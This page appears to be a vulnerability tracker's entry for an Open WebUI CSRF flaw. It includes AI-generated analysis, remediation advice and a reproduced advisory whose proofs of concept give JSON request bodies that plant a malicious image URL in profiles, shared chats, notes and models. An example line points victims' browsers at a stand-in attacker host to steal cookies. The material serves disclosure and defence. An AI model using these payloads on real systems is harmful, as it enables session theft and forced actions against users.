Open WebUI CVE-2026-45317
MEDIUMAttack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessInject malicious image URL via profile/model/chat API
-
DeliveryVictim views page with compromised image
-
ExploitBrowser sends GET request to attacker URL
-
ExecutionAttacker captures victim cookies and headers
-
ImpactAttacker performs CSRF actions or exfiltrates sensitive data
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V2 - Validation and Business Logic Input validation, allowlisting
|
| Exploitation Conditions | Authentication is required to inject malicious image URLs (PR:L: any authenticated user can modify profile pictures, upload model images, or create shared chats/notes containing crafted image URLs), but no authentication is required of the victim to be affected-unauthenticated users viewing shared chats or notes may trigger requests. User interaction (UI:R) is necessary on the victim side: the victim must visit a page displaying the compromised image (e.g., admin users panel, shared chat, model selection interface, or shared note). The vulnerability exists in default deployments; no special configuration is required. However, exploitation is limited to scenarios where the victim's browser can reach the attacker's server (no network segmentation preventing outbound requests). Additional limiting factors include: (1) victims must have an active authenticated session in Open WebUI for sensitive operations (e.g., admin actions) to succeed; (2) cross-origin image requests require no special headers but depend on the attacker's server being reachable from the victim's network; (3) some requests (e.g., /api/v1/auths/signout) succeed via GET for any user, while others may depend on victim privileges. |
| Impact | CVSS 4.6 (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:N/A:L) reflects a network-accessible vulnerability requiring low attack complexity and low privileges, but necessitating user interaction (victim must view the compromised image). The UI:R requirement significantly limits real-world exploitation compared to CVSS base-attackers cannot force image rendering; victims must voluntarily visit pages containing malicious images. However, the scope is broad: any authenticated user can inject malicious URLs into profile pictures, model images, or shared content viewed by other users. The vulnerability combines information disclosure (cookie/header leakage) and denial of service (sending GET requests to resource-exhaustion endpoints). The presence of multiple attack vectors (profile pictures in admin panels, hidden images in shared chats, model images shown to all users) means persistence and reach are high once injected. The vendor-released patch v0.9.3 is available, indicating acknowledgment of genuine risk. Critically, the CVSS I (Integrity) impact is rated 'N' (none), but the PoCs clearly demonstrate request forgery leading to unintended server-side state changes (e.g., /api/v1/auths/signout)-this appears to be an CVSS rating limitation rather than a true lack of integrity impact. Real-world priority is moderate-to-high due to ease of exploitation (no special network setup beyond hosting a server) and potential for privilege escalation if admin users view injected images. |
| Exploit ScenarioDerived | An attacker creates a shared chat, profile picture, model image, or note and sets the image URL to a malicious server endpoint (e.g., http://attacker.com/steal-cookies). When an admin user logs in and views the admin users panel, shared chat, or model list, their browser automatically sends a GET request to the attacker's server, including their session cookies in the HTTP request headers. The attacker captures this request, extracting the victim's session token and other sensitive headers. Alternatively, the attacker configures the malicious endpoint to call /api/v1/auths/signout, which signs out any authenticated user who triggers the image load, causing denial of service or disruption. The attack requires no special network privileges or user interaction beyond the victim viewing a page containing the injected image. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 14, 2026
Cross-Site Request Forgery via image URL manipulation in Open WebUI allows authenticated users to perform unauthorized actions on behalf of victims by embedding malicious image URLs in profile pictures, model images, shared chats, and notes. When any user (including admins) views these compromised images, their browser sends GET requests to attacker-controlled servers, enabling cookie theft, denial of service, or execution of sensitive operations. Publicly available proof-of-concept code demonstrates exploitation across multiple attack vectors. The vulnerability affects all versions up to and including v0.9.2, with a vendor-released patch available in v0.9.3.
RemediationAI
Upgrade to Open WebUI v0.9.3 or later immediately; this is the vendor-released patch that addresses the CSRF vulnerability. For organizations unable to upgrade immediately, implement the following compensating controls: (1) Disable or restrict image upload/rendering functionality by removing the ability for users to set custom image URLs in profile settings, model configurations, and shared content-this prevents injection of malicious URLs but significantly degrades user experience. (2) Implement SameSite=Strict cookie policy on all authentication cookies to prevent cross-site request forgery at the browser level, though this provides only partial protection for logged-in users visiting attacker-controlled pages. (3) Add Content Security Policy (CSP) headers with img-src 'self' to restrict image loads to same-origin only, blocking external image requests-this is a strong control but may break functionality requiring external image hosting. (4) Validate and whitelist image file types server-side (accept only .jpg, .png, .gif, .jpeg, .webp extensions) and reject URLs pointing to API endpoints or non-image domains-implement this in image upload/update API endpoints. (5) Implement CSRF tokens (anti-CSRF double-submit tokens) on all state-changing operations to prevent unauthorized requests, though this does not stop information disclosure via GET requests to external URLs. (6) Sanitize or wrap user-supplied image URLs through a server-side image proxy that fetches and validates content before serving to clients, preventing direct browser requests to attacker URLs. Testing after any patch or control implementation is essential to ensure image rendering functionality remains intact.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in pypi
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Open WebUI renders user-supplied image URLs directly in HTML img src attributes across multiple Svelte components (ProfileImage.svelte, Image.svelte, ResponseMessage.svelte, ModelEditor.svelte, and others) without URL validation or content-type enforcement. When a browser loads these images, it automatically sends HTTP GET requests to the specified URL, including all associated cookies and request context. The vulnerability stems from two root causes: (1) insecure direct display of unvalidated image URLs, treating any URL string as legitimate image content, and (2) lack of input validation on file types, allowing any URL scheme rather than restricting to image content (CWE-20: Improper Input Validation). The application fails to implement CSRF tokens, SameSite cookie policies, or image URL whitelisting. Affected components are found throughout the codebase in ProfileImage.svelte, Account.svelte, Navbar.svelte, UserList.svelte, Image.svelte, Message.svelte, Placeholder.svelte, ResponseMessage.svelte, Models.svelte, ModelEditor.svelte, image.ts, and UserMessage.svelte (CPE: pkg:pip/open-webui).
Know when the next one hits your stack
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:N/A:L
Primary rating from Vendor (https://github.com/open-webui/open-webui) · only source for this CVE.
CVSS VectorVendor: https://github.com/open-webui/open-webui
DescriptionCVE.org
Summary
An application-wide Cross-Site Request Forgery (CSRF) vulnerability was found Open-WebUl's image uploading functionality. An attacker can set an image URL to a malicious endpoint, allowing them to perform actions on behalf of a victim user. Any authenticated user can exploit this vulnerability, and any user who views the compromised image (e.g., a profile picture) will unknowingly send a GET request to the attacker-controlled URL. This can lead to cookie theft, denial of service (DoS), or other malicious actions.
This can be exploited in various locations, including:
• Profile picture
• Model picture
• Hidden images in shared chats
• Images within shared notes
Details
Vulnerable Code:
This appears to occur in most locations where images can be uploaded/rendered. Here are found sinks:
Profile Image in chat
• Note: rendering profile picture in chat
• Location: https://github.com/open-webui/open-webui/blob/2407d9b905978d68619bdce4021e424046ec8df9/src/lib/components/chat/Messages/ProfileImage.svelte#L16Code
Profile Picture edit
• Note: Profile picture rendering in edit
• Location: https://github.com/open-webui/open-webui/blob/2407d9b905978d68619bdce4021e424046ec8df9/src/lib/components/chat/Settings/Account.svelte#L205
Profile Image Navbar
• Note: Profile picture rendering in navbar
• Location: https://github.com/open-webui/open-webui/blob/2407d9b905978d68619bdce4021e424046ec8df9/src/lib/components/chat/Navbar.svelte#L237
Profile Image UserList
• Note: rendering images in user list admin panel
• Location: https://github.com/open-webui/open-webui/blob/2407d9b905978d68619bdce4021e424046ec8df9/src/lib/components/admin/Users/UserList.svelte#L399
Images in chat
• Note: rendering images in chat
• Location: https://github.com/open-webui/open-webui/blob/2407d9b905978d68619bdce4021e424046ec8df9/src/lib/components/common/Image.svelte#L35
Image in chat
• Note: Image sent in chat
• Location: https://github.com/open-webui/open-webui/blob/2407d9b905978d68619bdce4021e424046ec8df9/src/lib/components/channel/Messages/Message.svelte#L192 Model image in chat
• Note: Model image rendering in chat
• Location: https://github.com/open-webui/open-webui/blob/2407d9b905978d68619bdce4021e424046ec8df9/src/lib/components/chat/Placeholder.svelte#L128
Model image in chat response
• Note: Model image rendering in the assistant response
• Location: https://github.com/open-webui/open-webui/blob/2407d9b905978d68619bdce4021e424046ec8df9/src/lib/components/chat/Messages/ResponseMessage.svelte#L612
Model Image Admin settings
• Note: Model image rendering in the admin settings
• Location: https://github.com/open-webui/open-webui/blob/2407d9b905978d68619bdce4021e424046ec8df9/src/lib/components/admin/Settings/Models.svelte#L336
Model Image Workspace
• Note: Model image rendering in the workspace
• Location: https://github.com/open-webui/open-webui/blob/2407d9b905978d68619bdce4021e424046ec8df9/src/lib/components/workspace/Models.svelte#L336
Model Image Edit
• Note: Model image rendering in the edit modal
• Location: https://github.com/open-webui/open-webui/blob/2407d9b905978d68619bdce4021e424046ec8df9/src/lib/components/workspace/Models/ModelEditor.svelte#L407
Image in Notes
• Note: Image rendering in shared note
• Location: https://github.com/open-webui/open-webui/blob/2407d9b905978d68619bdce4021e424046ec8df9/src/lib/components/common/RichTextInput/Image/image.ts#L140
• Location: https://github.com/open-webui/open-webui/blob/2407d9b905978d68619bdce4021e424046ec8df9/src/lib/components/chat/Messages/UserMessage.svelte#L184
Root Cause
- Insecure display of image
• Application is sending a GET request to the unvalidated image url
- Lack of Input Validation
• Image url is not validated for filetype
PoCs
PoC (profile picture)
Environment
• Open-WebUl latest version (v0.6.41)
• Valid user
Step 1: Create a Malicious Link
• Set up a server to obtain victim's cookies, ip, referer, user-agent, etc
Step 2: Profile Image URL
- Add user
- Change the profile image url parameter to the malicious URL (server was used for PoC)
- Example POST request:
<img width="1245" height="484" alt="image" src="https://github.com/user-attachments/assets/295f0ab0-fe41-4d50-9c38-cb8c51a3bca2" />
- Repeat action
- Repeat for userSignUp, updateUserProfile, and update
Step 3: View Image on Victim Admin Account
- Log into an admin account
- Visit the admin panel (/admin/users/overview)
- Notice the GET request sent to the malicious URL
Step 4: Verify User Information Is Sent
- Confirm user information is sent
<img width="1280" height="677" alt="image" src="https://github.com/user-attachments/assets/cb2f4039-167f-43f4-bd37-ffaf4d476cee" />
PoC (chat)
Environment
• Open-WebUl latest version (v0.6.41)
• Valid user
Step 1: Create a Malicious Link
• Set up a server to obtain victim's cookies, ip, referer, use-agent, etc
Step 2: Start chat
- Start chat
- Send a message
- Resend POST request
- Resend post request to this endpoint /api/v1/chats/[chat_id_here]
- Add in a file with type set to image and the url set to the malicious link
- Replace models/ids/malicious_url_here with what is applicable
- {"chat":{"models":["redacted"],"history":{"messages":{"id_here":{"id":"id_here","parentId":"id_here","childrenIds":["id_here"],"role":"user","content":"","files":[{"type":"image","url":"MALICIOUS_URL_HERE"}],"timestamp":1765978991,"models":["redacted"]}}},"params":{},"files":[]}}
<img width="646" height="593" alt="image" src="https://github.com/user-attachments/assets/1273fe2b-3b3b-45dc-9c52-6811f7b18667" />
- Share chat
- Copy link to share the chat
Step 3: View Image on Victim Account
- Log into a valid account
- Open the shared chat
- Notice the GET request sent to the malicious URL from the hidden image on the page
<img width="1384" height="500" alt="image" src="https://github.com/user-attachments/assets/bd6e220d-e039-4916-9865-5ce9f0939951" />
Step 4: Verify User Information Is Sent
- Confirm user information is sent
<img width="1480" height="797" alt="image" src="https://github.com/user-attachments/assets/78374c2e-d9c6-476b-944d-1c8230398989" />
PoC (notes)
Environment
• Open WebUI latest version (v0.6.41)
• Valid user with access to notes
Step 1: Create a Malicious Link
• Set up a server to obtain victim's cookies, ip, referer, use-agent, etc
Step 2: Create Note
- Resend POST request to /api/v1/notes/[note_id_here]/update
- Add in the malicious URL to a file
- Example parameters
- (replace the ID_HERE with valid ID and MALICIOUS_URL_HERE with the malicious URL):
{"title":"2025-12-17","data":{"files":[{"id":"ID_HERE","type":"image","url":"MALICIOUS_URL_HERE"}]},"access_control":{"read":{"group_ids":[],"user_ids":[]},"write":{"group_ids":[],"user_ids":[]}}}
<img width="892" height="662" alt="image" src="https://github.com/user-attachments/assets/325a9bfa-2fb3-45be-aeec-e5695085d7d0" />
- Refresh page and notice the request being sent to the malicious URL
- Share note and copy link
Step 5: View Note on Valid Account
- Log into a valid account
- Open the shared note
- Notice the GET request sent to the malicious URL from the hidden image on the page
<img width="1597" height="317" alt="image" src="https://github.com/user-attachments/assets/767d865b-04a0-42b9-82fc-122acb9cbf16" />
Step 6: Verify User Information Is Sent
- Verify that user information is sent.
<img width="1997" height="860" alt="image" src="https://github.com/user-attachments/assets/b0ecab88-9830-4fb4-ac18-acda9eb44ff7" />
PoC (model)
Environment
• Open WebUI latest version (v0.6.41)
• Admin user
Step 1: Create a Malicious Link
• Set up a server to obtain victim's cookies, ip, referer, use-agent, etc
Step 2: Create Model
- Navigate to /workspace/models
- Create or edit a model
- Send a POST request to /api/v1/models/create or /api/v1/models/model/update?id=[model_id]
- Change the profile_image_url to the malicious link
- Example parameters:
{"id":"model_test","base_model_id":"redacted","name":"MODEL_TEST","meta":{"profile_image_url":"MALICIOUS_URL_HERE","description":null,"suggestion_prompts":null,"tags":[],"capabilities":{"vision":true,"file_upload":true,"web_search":true,"image_generation":true,"code_interpreter":true,"citations":true,"usage":false}},"params":{},"access_control":null}
<img width="887" height="618" alt="image" src="https://github.com/user-attachments/assets/749dac39-0b9d-4b7e-815d-fd6f3f7c57bd" />
Step 3: View Image on Valid Account
- Log into a valid account
- Create chat with the model
- Notice a GET request is sent to the malicious url
- All users starting a chat with that model will be vulnerable to the attack
<img width="1852" height="468" alt="image" src="https://github.com/user-attachments/assets/ff69c0a2-326d-4b99-9d8c-a73d9aa0deff" />
Step 4: View Image on Admin Account
- Navigate to /workspace/models
- Notice GET request sent to malicious url
<img width="1793" height="482" alt="image" src="https://github.com/user-attachments/assets/bda6e687-ccad-4914-a779-281dc67ffcfe" />
Step 5: Verify User Information Is Sent
- On the set up server verify that improperly set cookies are sent, IP, user-agent, etc.
<img width="1687" height="910" alt="image" src="https://github.com/user-attachments/assets/c783ad50-6701-4df8-8beb-ba0957baa2d9" />
Other Attack Examples
- Alternative malicious links
- Signout of Open WebUI
- /api/v1/auths/signout
- Internal network endpoints
- Signout of other applications
- Resource intensive endpoints
- Etc
Recommended Fix
- Store images
- Instead of sending a GET request to load the image each time, store the image and render on the page
- Validate input
- Image file types should be whitelisted (examples: .jpg, .png, .gif, .jpeg, etc)
Impact
Vulnerability Type
- CWE-352: Cross-Site Request Forgery (CSRF)
- CWE-20: Improper Input Validation
Affected users
- All authenticated users
The impact of this vulnerability is significant. This application-wide vulnerability allows an attacker to perform actions on behalf of any user who views the compromised image. This can be particularly damaging if an administrator or privileged user views the image, as it could lead to elevated access or sensitive data exposure.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Request Forgery exploits the automatic credential inclusion behavior of web browsers.
Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.
Denial of Service attacks render applications or systems unavailable by overwhelming resources or triggering failure conditions.
GHSA-j6w6-986j-2m2m
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB